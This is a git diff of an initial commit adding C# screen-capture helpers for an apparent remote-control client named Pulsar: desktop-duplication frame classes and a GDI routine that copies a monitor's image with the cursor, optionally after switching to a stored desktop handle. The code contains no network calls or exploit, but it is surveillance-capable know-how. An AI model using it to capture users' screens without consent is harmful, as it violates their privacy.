initial commit
This commit is contained in:
BIN
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,18 @@
|
||||
using System;
|
||||
|
||||
namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication
|
||||
{
|
||||
/// <summary>
|
||||
/// Exception thrown when an error occurs during desktop duplication operations.
|
||||
/// </summary>
|
||||
public class DesktopDuplicationException : Exception
|
||||
{
|
||||
public DesktopDuplicationException(string message) : base(message)
|
||||
{
|
||||
}
|
||||
|
||||
public DesktopDuplicationException(string message, Exception innerException) : base(message, innerException)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
using System;
|
||||
using System.Drawing;
|
||||
|
||||
namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides image data, cursor data, and image metadata about the retrieved desktop frame.
|
||||
/// </summary>
|
||||
public class DesktopFrame
|
||||
{
|
||||
/// <summary>
|
||||
/// Gets the bitmap representing the last retrieved desktop frame. This image spans the entire bounds of the specified monitor.
|
||||
/// </summary>
|
||||
public Bitmap DesktopImage { get; internal set; }
|
||||
|
||||
/// <summary>
|
||||
/// Gets a list of the rectangles of pixels in the desktop image that the operating system moved to another location within the same image.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// To produce a visually accurate copy of the desktop, an application must first process all moved regions before it processes updated regions.
|
||||
/// </remarks>
|
||||
public MovedRegion[] MovedRegions { get; internal set; }
|
||||
|
||||
/// <summary>
|
||||
/// Returns the list of non-overlapping rectangles that indicate the areas of the desktop image that the operating system updated since the last retrieved frame.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// To produce a visually accurate copy of the desktop, an application must first process all moved regions before it processes updated regions.
|
||||
/// </remarks>
|
||||
public Rectangle[] UpdatedRegions { get; internal set; }
|
||||
|
||||
/// <summary>
|
||||
/// The number of frames that the operating system accumulated in the desktop image surface since the last retrieved frame.
|
||||
/// </summary>
|
||||
public int AccumulatedFrames { get; internal set; }
|
||||
|
||||
/// <summary>
|
||||
/// Gets the location of the top-left-hand corner of the cursor. This is not necessarily the same position as the cursor's hot spot, which is the location in the cursor that interacts with other elements on the screen.
|
||||
/// </summary>
|
||||
public Point CursorLocation { get; internal set; }
|
||||
|
||||
/// <summary>
|
||||
/// Gets whether the cursor on the last retrieved desktop image was visible.
|
||||
/// </summary>
|
||||
public bool CursorVisible { get; internal set; }
|
||||
|
||||
/// <summary>
|
||||
/// Gets whether the desktop image contains protected content that was already blacked out in the desktop image.
|
||||
/// </summary>
|
||||
public bool ProtectedContentMaskedOut { get; internal set; }
|
||||
|
||||
/// <summary>
|
||||
/// Gets whether the operating system accumulated updates by coalescing updated regions. If so, the updated regions might contain unmodified pixels.
|
||||
/// </summary>
|
||||
public bool RectanglesCoalesced { get; internal set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
using System.Drawing;
|
||||
|
||||
namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication
|
||||
{
|
||||
/// <summary>
|
||||
/// Describes the movement of an image rectangle within a desktop frame.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Move regions are always non-stretched regions so the source is always the same size as the destination.
|
||||
/// </remarks>
|
||||
public struct MovedRegion
|
||||
{
|
||||
/// <summary>
|
||||
/// Gets the location from where the operating system copied the image region.
|
||||
/// </summary>
|
||||
public Point Source { get; internal set; }
|
||||
|
||||
/// <summary>
|
||||
/// Gets the target region to where the operating system moved the image region.
|
||||
/// </summary>
|
||||
public Rectangle Destination { get; internal set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
using SharpDX.DXGI;
|
||||
|
||||
namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication
|
||||
{
|
||||
internal class PointerInfo
|
||||
{
|
||||
public byte[] PtrShapeBuffer;
|
||||
public OutputDuplicatePointerShapeInformation ShapeInfo;
|
||||
public SharpDX.Point Position;
|
||||
public bool Visible;
|
||||
public int BufferSize;
|
||||
public int WhoUpdatedPositionLast;
|
||||
public long LastTimeStamp;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,149 @@
|
||||
using Pulsar.Client.Config;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Pulsar.Client.Helper
|
||||
{
|
||||
public static class ScreenHelperCPU
|
||||
{
|
||||
private const int SRCCOPY = 0x00CC0020;
|
||||
private const int CURSOR_SHOWING = 0x00000001;
|
||||
private static readonly int CursorInfoSize = Marshal.SizeOf(typeof(CURSORINFO));
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct POINT
|
||||
{
|
||||
public int X;
|
||||
public int Y;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct CURSORINFO
|
||||
{
|
||||
public int cbSize;
|
||||
public int flags;
|
||||
public IntPtr hCursor;
|
||||
public POINT ScreenPosition;
|
||||
}
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool GetCursorInfo(out CURSORINFO pci);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool DrawIcon(IntPtr hDC, int X, int Y, IntPtr hIcon);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
private static extern bool BitBlt(IntPtr hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
private static extern IntPtr CreateDC(string lpszDriver, string lpszDevice, string lpszOutput, IntPtr lpInitData);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
private static extern bool DeleteDC(IntPtr hdc);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern bool SetThreadDesktop(IntPtr hDesktop);
|
||||
|
||||
public static Bitmap CaptureScreen(int screenNumber, bool setThreadPointer = false)
|
||||
{
|
||||
if (setThreadPointer)
|
||||
{
|
||||
SetThreadDesktop(Settings.OriginalDesktopPointer);
|
||||
}
|
||||
|
||||
Rectangle bounds = GetBounds(screenNumber);
|
||||
Bitmap screen = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb);
|
||||
|
||||
using (Graphics g = Graphics.FromImage(screen))
|
||||
{
|
||||
IntPtr destDeviceContext = g.GetHdc();
|
||||
using (var srcDeviceContext = new DeviceContext("DISPLAY"))
|
||||
{
|
||||
BitBlt(destDeviceContext, 0, 0, bounds.Width, bounds.Height, srcDeviceContext.Handle, bounds.X, bounds.Y, SRCCOPY);
|
||||
DrawCursor(destDeviceContext, bounds);
|
||||
}
|
||||
g.ReleaseHdc(destDeviceContext);
|
||||
}
|
||||
|
||||
return screen;
|
||||
}
|
||||
|
||||
private static void DrawCursor(IntPtr destDeviceContext, Rectangle bounds)
|
||||
{
|
||||
var cursorInfo = new CURSORINFO { cbSize = CursorInfoSize };
|
||||
if (GetCursorInfo(out cursorInfo) && cursorInfo.flags == CURSOR_SHOWING)
|
||||
{
|
||||
DrawIcon(destDeviceContext, cursorInfo.ScreenPosition.X - bounds.X, cursorInfo.ScreenPosition.Y - bounds.Y, cursorInfo.hCursor);
|
||||
}
|
||||
}
|
||||
|
||||
public static Rectangle GetBounds(int screenNumber)
|
||||
{
|
||||
var rects = DisplayManager.GetAllMonitorRects();
|
||||
if (screenNumber < 0 || screenNumber >= rects.Count)
|
||||
throw new ArgumentOutOfRangeException(nameof(screenNumber));
|
||||
var r = rects[screenNumber];
|
||||
return new Rectangle(r.left, r.top, r.right - r.left, r.bottom - r.top);
|
||||
}
|
||||
|
||||
private class DeviceContext : IDisposable
|
||||
{
|
||||
public IntPtr Handle { get; }
|
||||
|
||||
public DeviceContext(string deviceName)
|
||||
{
|
||||
Handle = CreateDC(deviceName, null, null, IntPtr.Zero);
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
DeleteDC(Handle);
|
||||
}
|
||||
}
|
||||
}
|
||||
public class DisplayManager
|
||||
{
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool EnumDisplayMonitors(IntPtr hdc, IntPtr lprcClip, MonitorEnumProc lpfnEnum, IntPtr dwData);
|
||||
|
||||
public delegate bool MonitorEnumProc(IntPtr hMonitor, IntPtr hdcMonitor, ref Rect lprcMonitor, IntPtr dwData);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct Rect
|
||||
{
|
||||
public int left;
|
||||
public int top;
|
||||
public int right;
|
||||
public int bottom;
|
||||
}
|
||||
|
||||
public static int GetDisplayCount()
|
||||
{
|
||||
int count = 0;
|
||||
EnumDisplayMonitors(IntPtr.Zero, IntPtr.Zero,
|
||||
(IntPtr hMonitor, IntPtr hdcMonitor, ref Rect lprcMonitor, IntPtr dwData) =>
|
||||
{
|
||||
count++;
|
||||
return true;
|
||||
}, IntPtr.Zero);
|
||||
return count;
|
||||
}
|
||||
|
||||
public static List<Rect> GetAllMonitorRects()
|
||||
{
|
||||
var rects = new List<Rect>();
|
||||
EnumDisplayMonitors(IntPtr.Zero, IntPtr.Zero,
|
||||
(IntPtr hMonitor, IntPtr hdcMonitor, ref Rect lprcMonitor, IntPtr dwData) =>
|
||||
{
|
||||
rects.Add(lprcMonitor);
|
||||
return true;
|
||||
}, IntPtr.Zero);
|
||||
return rects;
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user